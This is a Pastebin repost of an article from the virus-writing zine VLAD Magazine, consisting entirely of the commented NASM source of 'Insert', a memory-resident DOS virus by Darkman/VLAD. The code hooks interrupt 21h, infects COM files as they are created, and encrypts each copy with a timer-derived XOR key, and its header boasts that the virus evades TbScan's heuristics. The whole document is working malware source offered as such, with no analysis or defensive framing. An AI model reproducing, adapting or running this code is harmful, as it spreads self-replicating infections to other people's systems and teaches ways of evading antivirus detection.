Advertisement
FlyFar

VLAD Magazine - Issue #3 - ARTICLE.4_4 - Insert

Jun 29th, 2023
1,332
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
ASM (NASM) 8.06 KB | Cybersecurity | 0 0
  1. ;                             Darkman/VLAD
  2. ;                           Proudly Presents
  3. ;                             I N S E R T
  4. ;            - No flags with TbScan v 6.30 high heuristic -
  5.  
  6. psp          equ     100h
  7.  
  8. insert       segment
  9.              assume  cs:insert,ds:insert,es:insert
  10.              org     00h                 ; Origin of COM-file
  11.  
  12. code:
  13.              lea     di,psp+crypt         ; DI = offset of crypt
  14.              call    xorcrypt
  15. crypt:
  16.              mov     ax,6302h            ; Insert service
  17.              int     21h                 ; Do it!
  18.              cmp     ax,bx               ; Already resident?
  19.              je      virusexit           ; Equal? Jump to virusexit
  20.  
  21.              push    ds                  ; Save DS at stack
  22.              mov     ax,ds
  23.              dec     ax                  ; Decrease AX
  24.              mov     ds,ax               ; DS = segment of programs MCB
  25.  
  26.              cmp     byte ptr ds:[00h],'Z'
  27.              jne     insexit             ; Not last in chain? Jump to insexit
  28.              sub     word ptr ds:[03h],(02h*(codeend-code)+0fh)/10h
  29.              sub     word ptr ds:[12h],(02h*(codeend-code)+0fh)/10h
  30.              add     ax,ds:[03h]         ; AX = MCB + size of memory block
  31.              inc     ax                  ; AX = first usable MCB segment
  32.              pop     ds                  ; Load DS from stack
  33.  
  34.              cld                         ; Clear direction flag
  35.              push    es                  ; Save ES at stack
  36.              mov     es,ax               ; ES = first usable program segment
  37.              mov     cx,(codeend-code)   ; Move 271 bytes
  38.              xor     di,di               ; Clear DI
  39.              lea     si,psp+code         ; SI = offset of code
  40.              rep     movsb               ; Move virus to high memory
  41.  
  42.              xor     ax,ax               ; Clear AX
  43.              mov     ds,ax               ; DS = segment of interrupt table
  44.              lea     di,int21adr         ; DI = offset of int21adr
  45.              mov     si,(21h*04h)        ; SI = offset of interrupt 21h
  46.              movsw                       ; Store address of interrupt 21h \
  47.              movsw                       ; in int21adr                    /
  48.              mov     word ptr ds:[21h*04h],offset virusint21
  49.              mov     ds:[21h*04h+02h],es ; Intercept interrupt 21h
  50.              pop     es                  ; Load ES from stack
  51.              push    es                  ; Save ES at stack
  52. insexit:
  53.              pop     ds                  ; Load DS from stack (ES)
  54. virusexit:
  55.              mov     ax,65535-(restoreend-restore)
  56.              mov     cx,(restoreend-restore)
  57.              mov     di,ax               ; DI = offset of end of memory
  58.              lea     si,psp+restore      ; SI = offset of restore
  59.              rep     movsb               ; Move restore code to end of memory
  60.              jmp     ax                  ; Jump to restore
  61.  
  62. virusint21   proc    near                ; Interrupt 21h of Insert
  63.              pushf                       ; Save flags at stack
  64.  
  65.              cmp     ah,3ch              ; Create a file?
  66.              je      infectfile          ; Equal? Jump to infectfile
  67.              cmp     ah,5bh              ; Create new file?
  68.              je      infectfile          ; Equal? Jump to infectfile
  69.              cmp     ax,6302h            ; Insert service?
  70.              je      insservice          ; Equal? Jump to insservice
  71.  
  72.              popf                        ; Load flags from stack
  73. jumpfar      db      0eah                ; Object code of jump far
  74. int21adr     dd      ?                   ; Address of interrupt 21h
  75. insservice:
  76.              mov     bx,ax
  77.              popf                        ; Load flags from stack
  78.              iret                        ; Interrupt return!
  79. infectfile:
  80.              call    dword ptr cs:int21adr
  81.              pushf                       ; Save flags at stack
  82.              jc      createerror         ; Error? Jump to createerror
  83.  
  84.              push    ax                  ; Save AX at stack
  85.              push    bx                  ; Save BX at stack
  86.              push    di                  ; Save DI at stack
  87.              push    es                  ; Save ES at stack
  88.  
  89.              xchg    ax,bx               ; Exchange AX with BX
  90.  
  91.              mov     ax,1220h            ; Get system file table number
  92.              int     2fh                 ; Do it! (multiplex)
  93.  
  94.              push    bx                  ; Save BX at stack
  95.              mov     ax,1216h            ; Get address of system FCB
  96.              mov     bl,es:[di]          ; BL = system file table entry
  97.              int     2fh                 ; Do it! (multiplex)
  98.              pop     bx                  ; Load BX from stack
  99.  
  100.              cmp     word ptr es:[di+28h],'OC'
  101.              jne     exterror            ; Not equal? Jump to exterror
  102.              cmp     byte ptr es:[di+2ah],'M'
  103.              jne     exterror            ; Not equal? Jump to exterror
  104.  
  105.              push    cx                  ; Save CX at stack
  106.              push    dx                  ; Save DX at stack
  107.              push    si                  ; Save SI at stack
  108.              push    ds                  ; Save DS at stack
  109.  
  110.              push    cs                  ; Save CS at stack
  111.              pop     ds                  ; Load DS from stack
  112.              push    cs                  ; Save CS at stack
  113.              pop     es                  ; Load ES from stack
  114.  
  115.              in      ax,40h              ; AX = port 40h
  116.              mov     cryptvalues,ax      ; Store the crypt value
  117.  
  118.              mov     cx,(codeend-code)   ; Move 271 bytes
  119.              lea     di,codeend          ; DI = offset of codeend
  120.              lea     si,code             ; SI = offset of code
  121.              rep     movsb               ; Move virus to high memory
  122.  
  123.              lea     di,codeend+06h      ; DI = offset of crypt
  124.              call    xorcrypt
  125.  
  126.              mov     ah,40h              ; Write to file
  127.              mov     cx,(codeend-code)   ; Write 271 bytes
  128.              lea     dx,codeend          ; DX = offset of codeend
  129.              int     21h                 ; Do it!
  130.  
  131.              pop     ds                  ; Load DS from stack
  132.              pop     si                  ; Load SI from stack
  133.              pop     dx                  ; Load DX from stack
  134.              pop     cx                  ; Load CX from stack
  135. exterror:
  136.              pop     es                  ; Load ES from stack
  137.              pop     di                  ; Load DI from stack
  138.              pop     bx                  ; Load BX from stack
  139.              pop     ax                  ; Load AX from stack
  140. createerror:
  141.              popf                        ; Load flags from stack
  142.  
  143.              retf    02h                 ; Return far and pop a word!
  144.              endp
  145.  
  146. restore      proc    near                ; Restore code of original program
  147.              lea     ax,psp+code         ; AX = beginning of code
  148.              mov     di,ax
  149.              lea     si,psp+codeend      ; SI = offset of real code
  150.              mov     cx,(65535-psp-(restoreend-restore))-(codeend-code)
  151.              rep     movsb               ; Move the real code to the beginning
  152.              jmp     ax                  ; Jump to the real code
  153.              endp
  154. restoreend:
  155. virusname    db      ' [Insert]'         ; Name of the virus
  156. virusauthor  db      ' [Darkman/VLAD] '  ; Author of the virus
  157. cryptend:
  158. xorcrypt     proc    near                ; XOR Encrypt/Decrypt
  159.              mov     cx,(cryptend-crypt)/02h
  160. cryptcode:
  161. xorwordptr   db      81h,35h             ; xor word ptr [di],0000h \
  162. cryptvalues  dw      ?                   ;  "   "    "      "      /
  163.              inc     di                  ; Increase DI
  164.              inc     di                  ; Increase DI
  165.              loop    cryptcode
  166.              ret                         ; Return!
  167.              endp
  168. codeend:
  169.              int     20h                 ; Exit to DOS!
  170.  
  171. insert       ends
  172. end          code
Tags: vlad
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement